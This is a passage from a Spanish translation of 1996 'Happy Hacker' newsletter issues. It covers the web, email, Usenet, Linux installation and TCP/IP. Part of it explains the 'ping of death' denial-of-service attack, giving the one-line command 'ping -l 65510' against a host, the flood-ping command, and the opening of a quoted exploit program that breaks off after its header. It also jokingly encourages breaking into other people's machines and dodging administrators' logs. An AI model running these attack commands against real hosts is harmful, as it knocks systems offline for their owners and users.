Una URL es siempre de la forma http://<resto de la dirección>, donde <resto de la dirección> incluye un nombre de dominio que debe ser registrado con una organización llamada InterNIC para asegurarse de que dos paginas Web diferentes (o direcciones email, o direcciones de ordenadores) no acaben siendo idénticas. Este registro es uno de los pocos rasgos con control centralizado de Internet.

Así es como el hypertexto de la World Wide Web funciona. El lector puede llegar a un comunicado tal como "nuestra compañía ofrece servicio LTL de camiones a la mayoría de ciudades de EEUU". Si este esta resaltado en la "pagina Web", significa que un click del ratón del ordenador del usuario le llevara a una nueva pagina Web con más detalles. Estos pueden incluir horarios completos y un formulario que rellenar para pedir la recogida y el envío.

Algunas paginas Web incluso ofrecen formas de hacer pagos electrónicos, normalmente con tarjetas de crédito.

De todas formas, la seguridad de transferencia de dinero en Internet es aun un gran problema. Aun a pesar de la verificabilidad de las transacciones financieras, el comercio electrónico en la Red esta creciendo rápidamente. En su segundo año completo de existencia, 1994, solo unos $17.6 millones en ventas se llevaron a cabo en la Red. Pero en 1995, las ventas alcanzaron los $400 millones. Hoy, en 1996, la Red esta plagada de sites comerciales rogando por la información de tu tarjeta de crédito.

Page 134: El Libro Negro Del Hacker2

134

Adicionalmente, la Red esta siendo usada como una herramienta en la distribución de una nueva forma de moneda, conocida como electronic cash/dinero electrónico (ECash). Es concebible que, si se puede superar la valla de verificabilidad, ese dinero electrónico (normalmente llamado ecash) puede jugar un papel importante en la economía del mundo, simplificando el comercio internacional. También puede eventualmente hacer las monedas nacionales e incluso los impuestos como los conocemos obsoletos.

Ejemplos de Web sites donde uno puede obtener ecash son:

El Mark Twain Bank of St. Louis, MO http://www.marktwain.com

y Digicash of Amsterdam, The Netherlands http://www.digicash.com

La naturaleza casi fuera de control de Internet se manifiesta en la World Wide Web. El autor de una pagina Web no necesita obtener permiso o realizar ningún acuerdo con los autores de otras paginas Web a los que el o ella desea establecer enlaces. Los enlaces pueden ser establecidos automáticamente simplemente metiendo las URLs de las paginas Web que deseamos.

A la inversa, de la única forma que el autor de una pagina Web puede prevenir que otra gente la lea o establezca enlaces de hypertexto a ella es creando un sistema de protección por contraseña (o no teniendo enlaces de comunicación al resto de Internet).

Un problema de la World Wide Web es como encontrar cosas en ella. Simplemente como alguien puede conectar un nuevo ordenador a Internet, así que tampoco hay una autoridad central con control o incluso conocimiento de lo que se publica y donde en la World Wide Web. Nadie necesita pedir el permiso de una central de autoridad para poner una pagina Web.

Una vez que un usuario conoce la dirección (URL) de una pagina Web, o al menos la URL de una pagina Web que eventualmente enlaza con la pagina deseada, entonces es posible (mientras los enlaces de comunicación estén disponibles) el conectarse prácticamente al momento con esta pagina.

Debido al valor de conocer URLs, hay ahora muchas compañías e instituciones académicas que ofrecen índices de búsqueda (localizados en la Red) al World Wide Web. Programas automatizados tales como los Web crawlers buscan en la Red y catalogan las URLs que se encuentran mientras viajan de un enlace de hypertexto a otro. Pero debido a que la Web esta constantemente creciendo y cambiando, no hay forma de crear un catalogo global de toda la Web.

Email

El email es el segundo uso más viejo de Internet, fechado cuando ARPANET en 1972. (El primer uso fue el de permitir a la gente conectarse remotamente a uno de los cuatro ordenadores de su elección en los que ARPANET fue lanzada en 1971).

Page 135: El Libro Negro Del Hacker2

135

Hay dos usos principales del email: comunicaciones privadas, y difusión de email. Cuando es de difusión, el email sirve para realizar anuncios (difusión en un sentido), y para realizar discusiones en grupos de gente como nuestra lista del Happy Hacker. En el modo de discusiones de grupo, cada mensaje enviado por todos los miembros de la lista es difundido a todos los otros miembros.

Los dos tipos de programas más populares usados para la difusión de discusiones de grupos email son majordomo y listserv.

Usenet

Usenet fue una consecuencia natural de las listas de grupos de discusión de email. Un problema de las listas de email es que no había un modo sencillo para la gente nueva a estos grupos de unirse a ellos. Otro problema es que mientras el grupo crece, un miembro puede ser inundado con docenas o cientos de mensajes cada día.

En 1979 estos problemas fueron direccionados por el lanzamiento de Usenet. Usenet consiste en grupos de noticias que llevan discusiones en forma de "posteos". A diferencia de los grupos de discusión de email, estos envíos son guardados, normalmente por 2 semanas o así, esperando a lectores en potencia. Mientras nuevos mensajes son expuestos a un grupo de noticias, estos son difundidos a todos los hosts de Internet que están suscritos para traerse los grupos de noticias a los que estos mensajes pertenecen.

Con muchos programas de conexión de Internet puedes ver la similitud entre Usenet y email. Ambos tienen cabeceras similares, que siguen sus movimientos a lo largo de Internet. Algunos programas como Pine están constituidos para mandar el mismo mensaje a ambas direcciones email y grupos de noticias. Todos los lectores de news de Usenet te permiten mandar email a los autores del mensaje, y muchos también te permiten mandar por email esos mensajes a ti o a otra gente.

Ahora, aquí va un vistazo rápido de lo básico de Internet que intentaremos cubrir en los próximos capítulos de la Guía del Hacking (casi) Inofensivo:

1. UNIX

Discutimos las "shells" que le permiten a uno escribir programas ("scripts") que automatizan series complicadas de comandos UNIX. Se introduce al lector en el concepto de los scripts que realizan funciones de hacking. Presentamos el Perl, que es un lenguaje de programación shell usado para los scripts de hacking más elite tal como SATAN

3. TCP/IP y UUCP

Este capitulo cubre los enlaces de comunicación que unen a Internet desde la perspectiva de un hacker. Se da atención extra a UUCP debido a que es muy hackeable.

4. Direcciones de Internet, Nombres de Dominio y Routers

Page 136: El Libro Negro Del Hacker2

136

El lector aprende como la información es enviada a los lugares correctos en Internet, y como los hackers pueden hacer que vaya a ¡lugares erróneos! Como buscar hosts UUCP (que no están en el sistema de nombre de dominio) esta incluido.

5. Los fundamentos del Elite Hacking: Puertos, Paquetes y Permisos de Ficheros

Esta sección deja salir de la botella al genio del hacking serio. Ofrece una serie de ejercicios en los cuales el lector puede divertirse ganando acceso a casi cualquier host de Internet elegido al azar. De hecho, por el final del capitulo el lector habrá tenido la oportunidad de practicar varias docenas de técnicas para ganar acceso a los ordenadores de otra gente. No obstante estos trucos que enseñamos son ¡100% legales!

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email [email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

GUÍA DEL HACKING (mayormente) INOFENSIVO

Vol. 2 Numero 2

¡Linux!

UNIX se ha convertido en el sistema operativo primordial de Internet. De hecho, UNIX es el sistema operativo mas ampliamente usado en el mundo en ordenadores con mas poder que los PCs. Es cierto, Windows NT esta surgiendo rápido como un sistema operativo común de Internet, y es tan maravillosamente buggy (con bugs) que parece que pueda convertirse en el favorito numero uno de crackear. Pero hoy por hoy UNIX en todas sus maravillosas variantes es aun el sistema operativo a conocer para ser un verdadero hacker elite.

Hemos asumido que has estado hackeando usando una cuenta shell que has obtenido de tu proveedor. Una cuenta shell te permite ejecutar comandos UNIX en uno de los ordenadores

Page 137: El Libro Negro Del Hacker2

137

de tu proveedor. Pero no necesitas depender de tu proveedor para tener una maquina que te permita jugar con UNIX. Puedes correr UNIX en tu propio ordenador y con una conexión SLIP o PPP estar directamente conectado a Internet.

Nota para novatos: Las conexiones Serial Line Internet Protocol (SLIP) y Point-to-Point Protocol (PPP) te dan una dirección temporal o Internet Protocol (IP) que te permite estar directamente conectado a Internet. Tienes que usar conexión o bien SLIP o PPP para llegar a usar un Web Browser que te proporcione gráficos y fotos en vez de solo texto. Así que si puedes ver fotos en la Red, ya tienes uno de esos protocolos disponibles.

La ventaja de usar uno de esas conexiones directas para tus actividades hacking es que no dejaras atrás un fichero log de shell para que el administrador de sistema de tu proveedor lo estudie detenidamente. Incluso si no estas rompiendo la ley, un fichero log de shell que te muestre haciendo un montón de cosas relacionadas con el hacking puede ser suficiente para algunos administradores para cerrar tu cuenta.

¿Cuál es el mejor ordenador para correr UNIX? A menos que seas un hacker rico que no se lo piensa y se pilla una estación de trabajo Sun SPARC, lo tendrás mejor con alguna clase de PC. Hay incontables variantes de UNIX que corren en PCs. La mayoría de ellas se pueden bajar gratis, o disponibles muy baratas en CD-ROMs.

Las tres variantes principales de UNIX que corren en PCs son Solaris de Sun, FreeBSD y Linux. Solaris cuesta alrededor de $700. Digamos que bastante. FreeBSD es muy, muy bueno pero no ofrece mucho soporte. Linux, sin embargo, tiene la ventaja de estar disponible en muchas variantes (así que puedes pasártelo bien mezclando y equiparando programas de diferentes ofertas Linux). Más importante, Linux esta apoyado en muchos grupos de noticias, listas de mail y Web sites. Si tienes amigos hackers en tu zona, la mayoría de ellos probablemente usan Linux y te podrán ayudar.

Nota histórica: Linux fue creado en 1991 por un grupo liderado por Linus Torvalds de la Universidad de Helsinki. Linux tiene Copyright bajo la GNU General Public License. Bajo este acuerdo, Linux puede ser redistribuido a cualquiera junto con el código fuente. Cualquiera puede vender una variante de Linux, modificarla y volverla a embalar. Pero incluso si alguien modifica el código fuente él o ella no exigirán Copyright por nada creado a partir de Linux. Cualquiera que venda una versión modificada de Linux deberá proveer el código fuente a los compradores y permitirles usarlo en sus productos comerciales sin cobrar cuotas de licencia. Este acuerdo se conoce como "copyleft".

Bajo este acuerdo los creadores originales de Linux no reciben ninguna cuota de licencia o de shareware. Linus Torvalds y los muchos otros que han contribuido en Linux lo han

Page 138: El Libro Negro Del Hacker2

138

hecho por la diversión de programar y un sentido de comunidad con todos nosotros que usaremos Linux con espíritu de buen tío hackeando. ¡Viva Linux! ¡Viva Torvalds!

Linux consiste en el sistema operativo en sí (llamado el "kernel") mas una serie de programas asociados.

El kernel, como todos los tipos de UNIX, es un sistema operativo multitarea y multi-usuario. Aunque usa una estructura de ficheros diferente, y de ahí que no sea directamente compatible con DOS y Windows, es tan flexible que muchos programas DOS y Windows podrán ejecutarse mientras estemos en Linux. O sea que un usuario probablemente querrá arrancar en Linux y después ser capaz de correr programas DOS y Windows desde Linux.

Programas asociados que vienen con la mayoría de distribuciones de Linux pueden incluir:

* un programa shell (Bourne Again Shell -- BASH -- es el más común);

* compiladores para lenguajes de programación tales como Fortran-77 (¡mi favorito!), C, C++, Pascal, LISP, Modula-2, Ada, Basic (el mejor lenguaje para un principiante), y Smalltalk.;

* X (algunas veces llamado X-windows), un interface de usuario gráfico

* programas de utilidades como el lector de email Pine (mi favorito) y Elm

Las 10 razones para instalar Linux en tu PC:

1. Cuando Linux sea "fuera de la ley", solo los fuera de la ley tendrán Linux.

2. Cuando se instala Linux, es tan divertido ejecutar fdisk sin haber hecho antes un backup.

3. Los flames que recibas por hacer preguntas en los grupos de noticias de Linux son de mayor calidad que los flames que recibes por postear en alt.sex.bestiality.

4. No importa que variante de Linux instales, mañana descubrirás que había una versión mucho más 3l1te que deberías haber pillado en vez de esta.

5. La gente que usa FreeBSD o Solaris no se reirán de ti. En vez de ello ofrecerán su simpatía.

6. En el siguiente Defcon serás capaz de decir cosas como "y entonces me hice con su cuenta y le jodí todos sus ficheros como 'kissyface'". Oops, el joder los ficheros de otra gente es un no-no, olvida que jamas lo sugerí.

7. Surfear por los puertos en privado.

Page 139: El Libro Negro Del Hacker2

139

8. Una palabra: scripts.

9. Instalar Linux en el PC de tu oficina es como ser un empleado de correos y llevar una Uzi al trabajo.

10. Pero -- si instalas Linux en el ordenador de tu oficina, tu jefe no tendrá ni idea de lo que significa.

¿Qué tipo de Linux trabaja mejor? Depende de lo que realmente quieras. El Redhat Linux es famoso por ser el más fácil de instalar. El Walnut Creek Linux 3.0 en CD-ROM es también realmente fácil de instalar -- para Linux, ¡eso es! Mi planteamiento ha sido coger muchas versiones de Linux y mezclar y reunir lo mejor de cada distribución.

Me gusta la versión de Walnut Creek la que más por que con mi marca X de hardware, su característica de autodetección fue un salvavidas.

¡INSTALAR LINUX no es para los que sufren del corazón! Varios trucos para sobrevivir a la instalación son:

1) Aunque en teoría puedas correr Linux en un 286 con 4 MB RAM y dos unidades de disco, es *mucho* más fácil con un 486 o mayor con 8 MB RAM, un CD-ROM, y al menos 200 MB libres de disco duro.

2) Intenta saber lo mas que puedas sobre el tipo de placa madre, módem, disco duro, CD-ROM, y tarjeta gráfica que tienes. Si tienes alguna documentación sobre ellos, tenla en la mano para consultar durante la instalación.

3) Es mejor el usar hardware de marca y de algún modo pasado de moda en tu ordenador. Ya que Linux es freeware, no ofrece drivers para todo el hardware nuevo. Y si tu hardware es como el mío -- un montón de cosas de marca X y El Cheapo, puedes pasarte un buen tiempo experimentando con que drivers funcionara.

4) Antes de comenzar la instalación, ¡haz un backup de tu(s) disco(s) duro(s)! En teoría puedes instalar Linux sin dañar tus archivos DOS/Windows. (Pero todos somos humanos, especialmente si seguimos el consejo 3)

5) Pilla mas de una distribución Linux. La primera vez que instale con éxito Linux, finalmente toque algo que funciono usando el disco boot de una distribución con el CD-ROM de otra. En cualquier caso, cada distribución de Linux tiene diferentes programas de utilidades, emuladores de sistemas operativos, compiladores y demás. Añádelos todos a tu sistema y estarás preparado para estar por encima de la elite.

6) Compra uno, dos o tres libros sobre Linux. ¡No me gustaba ninguno de ellos! Pero son mejores que nada. La mayoría de los libros de Linux vienen con uno o dos CD-ROM que pueden ser usados para instalar Linux. Pero yo me encontré con que lo que venia en los libros no coincidía exactamente con lo que venia en los CD-ROM.

Page 140: El Libro Negro Del Hacker2

140

7) Recomiendo beber mientras instalamos. No hará que el debugging vaya más rápido, pero al menos te dará igual lo duro que sea.

Ahora puedo casi garantizar que incluso siguiendo esos 6 avisos, aun tendrás problemas instalando Linux. Oh, ¿tengo 7 avisos ahí arriba? Olvida el numero 7. Pero siéntete animado, ya que todo el resto de personas también sufren extremadamente cuando instalan y usan Linux, Internet tiene una increíble riqueza de recursos para el desafiado-por-Linux.

Si eres alérgico a ser flameado, puedes comenzar con las Web sites de apoyo a Linux.

La mejor que he encontrado es http://sunsite.unc.edu:/pub/Linux/

Incluye las Linux Frequently Asked Questions list (FAQ), disponibles en sunsite.unc.edu:/pub/Linux/docs/FAQ.

En el directorio /pub/Linux/docs de sunsite.unc.edu encontrarás otros varios documentos acerca de Linux, incluyendo la Linux INFO-SHEET y la META-FAQ.

El archivo HOWTO de Linux está en sunsite.unc.edu:/pub/Linux/docs/HOWTO. El directorio /pub/Linux/docs/LDP de sunsite.unc.edu contiene el set actual de manuales LDP.

Puedes pillar el ``Linux Installation and Getting Started'' de sunsite.unc.edu en /pub/Linux/docs/LDP/install-guide. El fichero README de allí describe como puedes pedir una copia impresa del libro del mismo nombre (unas 180 paginas).

Ahora si no te importa ser flameado, puede que quieras postear preguntas en el increíble numero de grupos de news de Usenet que cubren Linux. Estos incluyen:

comp.os.linux.advocacy Los beneficios de Linux comparados

comp.os.linux.development.system Kernels de Linux, drivers de dispositivos

comp.os.linux.x Servidores de sistema X-Window

comp.os.linux.development.apps Escribiendo aplicaciones Linux

comp.os.linux.hardware Compatibilidad de hardware

comp.os.linux.setup Instalación de Linux

comp.os.linux.networking Redes y comunicaciones

comp.os.linux.answers FAQs, How-To's, READMEs, etc.

linux.redhat.misc

Page 141: El Libro Negro Del Hacker2

141

alt.os.linux Usa comp.os.linux.* en vez de éste

alt.uu.comp.os.linux.questions La Universidad Usenet te ayuda

comp.os.linux.announce Anuncios importantes para Linux

comp.os.linux.misc Topicos específicos de Linux

Tobin Fricke también ha apuntado que "copias gratis de CD-ROM Linux están disponibles en el web site de Linux Support & CD Givaway en http://emile.math.ucsb.edu:8000/giveaway.html. Este es un proyecto donde la gente dona CDs de Linux que no necesitan más. El proyecto fue forjado por Linux Systems Labs, que donaron inicialmente 800 CDs de Linux! Por favor recuerda donar tu CD de Linux cuando hayas terminado ya con ellos. Si vives cerca de un canjeador informático, Fry's, Microcenter, u otro parecido, busca CDs de Linux allí. Están normalmente por debajo de $20, que es una inversión excelente. Personalmente me gusta el Linux Developer's Resource por Infomagic, que esta ya por 7 CDs, creo, que incluye todas las mayores distribuciones Linux (Slackware, Redhat, Debian, Linux para DEC Alpha por nombrar algunos) mas mirrors de tsx11.mit.edu y sunsite.unc.edu/pub/linux y mucho más. También debes de visitar la MARAVILLOSA pagina Linux en: http://sunsite.unc.edu/linux, que tiene toneladas de información, además de esta http://www.linux.org/. También querrás comprobar http://www.redhat.com/ y http://www.caldera.com/ para mas información acerca de versiones comerciales de Linux (que están todavía disponibles gratis bajo GNU)".

¿Y qué tal la seguridad de Linux? Si, Linux, como todo sistema operativo, es imperfecto. Eminentemente hackeable, si de verdad quieres saberlo. Así que si quieres saber como asegurar tu sistema Linux, o si te encuentras con uno de los muchos proveedores que usan Linux y quieres ir a explorar (oops, olvida que he escrito eso), aquí es donde puedes ir a por información:

ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks

ftp://info.cert.org/pub/tech_tips/root_compromise

http://bach.cis.temple.edu/linux/linux-security/

Por ultimo pero no por ello menos, si quieres hacer preguntas sobre Linux en la lista del Happy Hacker, seas bienvenido. Podemos ser el ciego que conduce al ciego, ¡pero que coño!

¿Quieres ver números atrasados de la Guía del Hacking (casi) Inofensivo? Mira http://www.feist.com/~tqdb/evis-unv.html. ¿Quieres suscribirte a esta lista? Email

Page 142: El Libro Negro Del Hacker2

142

[email protected] con el mensaje "subscribe happyhacker." ¿Quieres compartir material guay con la lista Happy Hacker? Manda tu mensaje a [email protected]. Para mandarme email confidencial (discusiones de actividades ilegales no) usa [email protected]. Por favor dirige tus flames hacia dev/[email protected]. Happy hacking!

Copyright 1996 Carolyn P. Meinel. Puedes distribuir la GUÍA DEL HACKING (mayormente) INOFENSIVO mientras dejes esta nota al final.

GUÍA DEL HACKING (mayormente) INOFENSIVO

Vol. 2 Numero 3

Introducción a TCP/IP. ¡Eso significa paquetes! ¡Datagramas! Se explica el exploit de denegación de servicio por paquete de ping gigante. Pero este hack es mucho menos inofensivo que la mayoría. No intentes esto en casa...

Si has estado en la lista Happy Hacker por un momento, habrás estado recibiendo elementos dirigidos de la lista Bugtraq acerca de un nuevo exploit de paquetes ping.

Si esto te ha estado sonando a galimatías, relájate. Es realmente muy sencillo. De hecho, es tan simple que si usas Windows 95, en cuanto termines este texto sabrás un simple comando de una sola línea que podrás usar para tirar abajo muchos hosts y routers de Internet.

ADVERTENCIA PUEDES IR A LA CÁRCEL: Esta vez no voy a implorar a los genios malignos "quiero-ser-hacker" en la lista para que sean virtuosos y resistan la tentación de emplear mal la información que estoy apunto de darles. ¡Mira si me preocupa! Si uno de esos tíos es pillado tirando abajo miles de hosts y routers de Internet, no solo irán a la cárcel y tendrán una gran multa. Todos nosotros pensaremos que el o ella es un/a gran capullo. Este exploit es un comando desde Windows 95 nada complicado y de una sola línea. Si, el sistema operativo que esta diseñado para retrasados mentales desorientados. Así que no hay nada de elite sobre este hack. Lo que es elite es ser capaz de desbaratar este ataque.

NOTA PARA NOVATOS: Si los paquetes, datagramas, y TCP/IP no son exactamente tus entrañables colegas aun, créeme, necesitas de verdad meterte en la cama con ellos para poderte llamar hacker. Así que quédate aquí para algo de material técnico. Cuando lo tengas, tendrás la satisfacción de saber que puedes sembrar estragos en Internet, pero son muy elite para llevarlos hacerlo. Mas aun, este exploit ha sido descubierto recientemente --

Page 143: El Libro Negro Del Hacker2

143

como hace unos días. Así que pronto sabrás cosas que la mayoría de los hackers elite ni siquiera han oído aun.

Un paquete es un modo de mandar información electrónica que mantiene fuera los errores. La idea es que ninguna tecnología de transmisión es perfecta. ¿Has jugado alguna vez al juego "teléfono"? Reúnes una docena de gente o así en un circulo y la primera persona le susurra un mensaje al segundo. Algo como "El bollo es la forma más pequeña de cereal". La segunda persona le susurra al tercero, "Un bollo es la forma más pequeña de estafar". La tercera susurra, "El ron es la forma más pequeña de beber". Y así. Es muy divertido el descubrir lo mucho que un mensaje puede mutar mientras recorre el circulo.

Pero entonces, por ejemplo, recibes email, preferirás que no este todo hecho un lío. Así que el ordenador que manda el email lo divide en pequeños trozos llamados datagramas. Entonces envuelve las cosas alrededor de cada datagrama que le dice a que ordenadores debe dirigirse, de donde procedía, y que compruebe si el datagrama ha podido ser truncado. A estos embalajes de datagramas envueltos se les llaman "paquetes".

Ahora si el ordenador que te manda el email fuera a "embalar" un mensaje realmente largo en tan solo un paquete, las posibilidades de que se desordene todo en su camino al otro ordenador son muy grandes. Un poco chungo. Así que cuando el ordenador que lo recibe comprueba el paquete y encuentra que se desordeno, lo tirara y le dirá al otro ordenador que lo vuelva a mandar. Podría llevar mucho tiempo hasta que este paquete gigante llegue intacto.

Pero si el mensaje esta dividido en un montón de pequeños trozos y envueltos en manojos de paquetes, la mayoría de ellos estarán bien y el ordenador destino los guardara. Entonces le dirá al ordenador remitente que reenvíe solo los paquetes que estaban hechos un lío. Entonces cuando todos los trozos lleguen finalmente allí, el ordenador destinatario los une en el orden correcto y allí esta, ahí esta el mensaje completo, email sin errores.

TCP/IP significa Transmission Control Protocol/Internet Protocol. Le dice a los ordenadores que están conectados a Internet como empaquetar los mensajes en paquetes y como leer paquetes estos paquetes de otros ordenadores. El ping usa TCP/IP para hacer sus paquetes.

"Ping" es un comando que manda una sonda de tu ordenador a otro ordenador para ver si esta encendido y conectado a la misma red a la que lo estas tu. En Internet hay unos 10 millones de ordenadores a los que puedes hacer ping.

Ping es un comando que puedes dar, por ejemplo, desde los sistemas operativos UNIX, Windows 95 y Windows NT. Es parte del Internet Control Message Protocol (ICMP), que es usado para localizar averías de redes TCP/IP. Lo que hace es decir a un ordenador remoto que devuelva el ping. Mas aun, algunas formas del comando ping te dirán además lo que tarda un mensaje en ir a ese ordenador y volver de vuelta.

Page 144: El Libro Negro Del Hacker2

144

Pero ¿cómo sabe tu ordenador que el ping que acaba de mandar ha vuelto del ordenador apuntado? El datagrama es la respuesta. El ping enviado es un paquete, y como cualquier paquete esta envuelto alrededor de un datagrama. Si el ping devuelto mantiene este mismo datagrama, sabes que fue tu ping que acaba de ser devuelto.

El formato básico de este comando es simplemente:

ping hostname

donde "hostname" es la dirección de Internet del ordenador que quieres comprobar.

Cuando doy este comando desde el UNIX Release 4.1 de Sun, la respuesta que recibo es "hostname is alive".

CONSEJO TÉCNICO: Debido a los poderes destructivos del ping, muchos proveedores de servicios de Internet esconden el programa ping en sus cuentas shell donde los novatos desorientados no puedan meter sus manos. Si tu cuenta shell dice "comando no encontrado" cuando metes el comando ping, prueba:

/usr/etc/ping hostname

Si esto no funciona, quéjate al servicio técnico de tu proveedor.

NOTA PARA NOVATOS: ¿Dices que no puedes encontrar un modo de hacer ping desde tu servicio ON-LINE? Eso puede ser quizás debido a que no tienes cuenta shell. Pero hay una cosa que realmente necesitas para hackear: ¡¡¡UNA CUENTA SHELL!!!

La razón por la cual los hackers se ríen de la gente con cuentas en America Online es por que ese proveedor no da cuentas shell. Esto es debido a que America Online quiere que seáis buenos chicos y chicas y no hackeeis.

Una "cuenta shell" es una cuenta de Internet en la que tu ordenador se convierte en un terminal de uno de los hosts de tu proveedor. Una vez estas en el "shell" puedes dar comandos al sistema operativo (que normalmente es UNIX) como si estuvieras sentado allí en la consola de uno de los hosts de tu proveedor.

Puede que ya tengas una cuenta shell pero simplemente no sepas como meterte en ella. Llama al soporte técnico de tu proveedor para averiguar si tienes una y como conectarte.

Hay toda clase de variaciones del comando ping. Y, sabes algo, donde quiera que hay un comando que ejecutas en Internet que tenga muchas variaciones, puedes simplemente contar con que haya algo hackeable ahí. ¡Muhahaha!

Page 145: El Libro Negro Del Hacker2

145

El flood ping es un ejemplo simple. Si tu sistema operativo te permite dar el comando:

-> ping -f hostname

manda un verdadero aluvión de pings, tan rápido como el host de tu proveedor pueda hacerlo. Esto mantiene al host al que has apuntado tan ocupado devolviendo tus pings que poco más puede hacer. También pone una carga muy pesada en la red.

Hackers con habilidades primitivas algunas veces se unirán y usaran varios de sus ordenadores a la vez para hacer ping simultáneamente al ordenador host de alguna víctima de Internet. Esto generalmente mantendrá al ordenador de la víctima muy ocupado para hacer cualquier otra cosa. Puede incluso venirse abajo. Sin embargo, la parte mala (desde el punto de vista de los atacantes) es que mantiene al ordenador atacante atado también.

NOTA NETIQUETTE: Hacer flood ping a un ordenador es extremadamente rudo. Que te cazen haciendo esto y tendrás suerte si lo peor que ocurre es que tu proveedor de servicios on-line cierra tu cuenta. Haz esto a un hacker serio y necesitaras un transplante de identidad.

Si por accidente llegas a empezar un tipo de flood ping, puedes detenerlo presionando la tecla control y "c" (control-c).

CONSEJO DE GENIO MALIGNO: ¡Hazte un ping a ti mismo! Si usas algún tipo de UNIX, tu sistema operativo te dejara usar tu ordenador para hacerle simplemente casi todo lo que él puede hacer a otros ordenadores. La dirección de red que te manda de vuelta a tu propio ordenador es localhost (o 127.0.0.1). Aquí va un ejemplo de como uso localhost:

<slug> [65] ->telnet localhost

Trying 127.0.0.1 ...

Connected to localhost.

Escape character is '^]'.

SunOS UNIX (slug)

login:

Ves, vuelvo de nuevo a la secuencia de login del ordenador llamado "slug".

Ahora me hago un ping a mí mismo:

<llama> [68] ->/usr/etc/ping localhost

Page 146: El Libro Negro Del Hacker2

146

localhost is alive

Esto me da el mismo resultado que si diera el comando:

<llama> [69] ->/usr/etc/ping llama

llama.swcp.com is alive

CONSEJO MUHAHAHA: ¿Quieres tirar de la cadena de alguien? Dile que haga ftp a 127.0.0.1 y que se conecte usando su propio nombre de usuario y password para pillar ¡warez cojonudo! Mi exmarido Keith Henson lo hizo en la Iglesia de la Cienciologia. Los miembros hicieron ftp a 127.0.0.1 y descubrieron todas sus escrituras con Copyright. Asumieron que esto estaba en el ordenador de Keith, no en el suyo. Estaban *tan* seguros de que tenia sus escrituras que le llevaron a juicio. El juez, cuando se dio cuenta de que estaban simplemente haciendo un loop en su propio ordenador, literalmente les mando de la sala descojonándose de ellos.

Para una transcripción buenísima o cinta de audio de esta sesión de juicio infame, manda un email a [email protected]. Esa es la dirección email de Keith. ¡Me quito el sombrero por un superhacker!

Sin embargo, el exploit del paquete ping descomunal que estas apunto de aprender puede incluso hacer mas daño a algunos hosts que una banda de conspiradores de ping flood. Y lo hará sin necesidad de reunir los ordenadores de los atacantes por mas del segundo que tarda ‚l en enviar un solo ping.

El modo más fácil de hacer esto es correr Windows 95. ¿No lo tienes?

Generalmente podrás encontrar un almacén El Cheapo que te lo mandara por $99.

Para hacer esto, primero configura tu sistema Windows 95 para que puedas establecer una conexión PPP o SLIP con Internet usando el programa de Acceso Telefónico a Redes en el icono de Mi PC. Necesitaras algo de ayuda del soporte técnico de tu proveedor para configurar esto. Debes hacerlo de este modo o este hack no funcionara. Tu dialer de America Online *definitivamente* no funcionara.

NOTA PARA NOVATOS: Si tu conexión a Internet te permite ejecutar un browser que muestre gráficos/fotos, puedes usar tu numero de llamada con el programa de Acceso Telefónico a Redes de tu Windows 95 para pillar una conexión o bien PPP o SLIP

Page 147: El Libro Negro Del Hacker2

147

Lo siguiente, conéctate a Internet. Pero no ejecutes ningún browser o lo que sea. En vez de eso, una vez que el programa de Acceso Telefónico a Redes te diga que estas conectado, haz click en el botón "Inicio" y vete a "MS-DOS".

Abre esta ventana DOS. Recibirás el prompt:

C:\windows\>

Ahora primeramente hagamos esto de la manera de buen ciudadano. En este prompt puedes teclear el comando "ping":

C:\windows\ping hostname

donde "hostname" es la dirección de algún ordenador de Internet. Por ejemplo, puedes hacer ping a thales.nmia.com, que es uno de mis ordenadores favoritos, que esta detrás de algún filosofo Griego oscuro.

Ahora si ocurre que sabes la dirección de uno de los ordenadores de Sadam Hussein, sin embargo, puede que quieras dar el comando:

c:\windows\ping -l 65510 saddam_hussein's.computer.mil

¡Realmente no lo hagas a un ordenador real! Algunos, pero no todos, los ordenadores se vendrán abajo y se mantendrán o bien colgados o se resetearán cuando reciban este ping. Otros continuaran funcionando alegremente, y de repente se irán abajo horas mas tarde.

¿Por que? Ese extra añadido -l 65510 crea un datagrama gigante que es envuelto dentro del paquete ping. Algunos ordenadores, cuando se les pide que devuelvan un datagrama idéntico, se hacen un verdadero lío.

Si quieres saber todos los detalles sangrientos de este exploit ping, incluyendo el cómo proteger tus ordenadores de él, comprueba: http://www.sophist.demon.co.uk/ping

Ahora, hay otras formas de crear un datagrama ping gigante además de usar Windows 95. Por ejemplo, si corres alguna versión UNIX de FreeBSD o Linux en tu PC, puedes ejecutar este programa, que fue posteado a la lista Bugtraq.

From: Bill Fenner <[email protected]>

To: Multiple recipients of list BUGTRAQ <[email protected]>

Subject: Ping exploit program

Ya que hay gente que no tiene necesariamente cajas de Windows 95 por ahí, yo (Fenner) escribí el siguiente programa exploit. Requiere un raw socket layer que no interfiera con el

Page 148: El Libro Negro Del Hacker2

148

paquete, así que BSD 4.3, SunOS y Solaris están fuera. Funciona bien en sistemas 4.4BSD. Puede funcionar en Linux si lo compilas con -DREALLY_RAW.

Eres libre de hacer con esto lo que quieras. Por favor usa esto solo para testear tus propias maquinas, y no para tirar las de otros.

* win95ping.c

*

* Simulate the evil win95 "ping -l 65510 buggyhost".

* version 1.0 Bill Fenner <[email protected]> 22-Oct-1996

*

* This requires raw sockets that don't mess with the packet at all (other

* than adding the checksum). That means that SunOS, Solaris, and

* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,

* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux

* system to try it on.

*

* The attack from the Win95 box looks like:

* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)

* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)

* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)

* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)

* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)

* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)

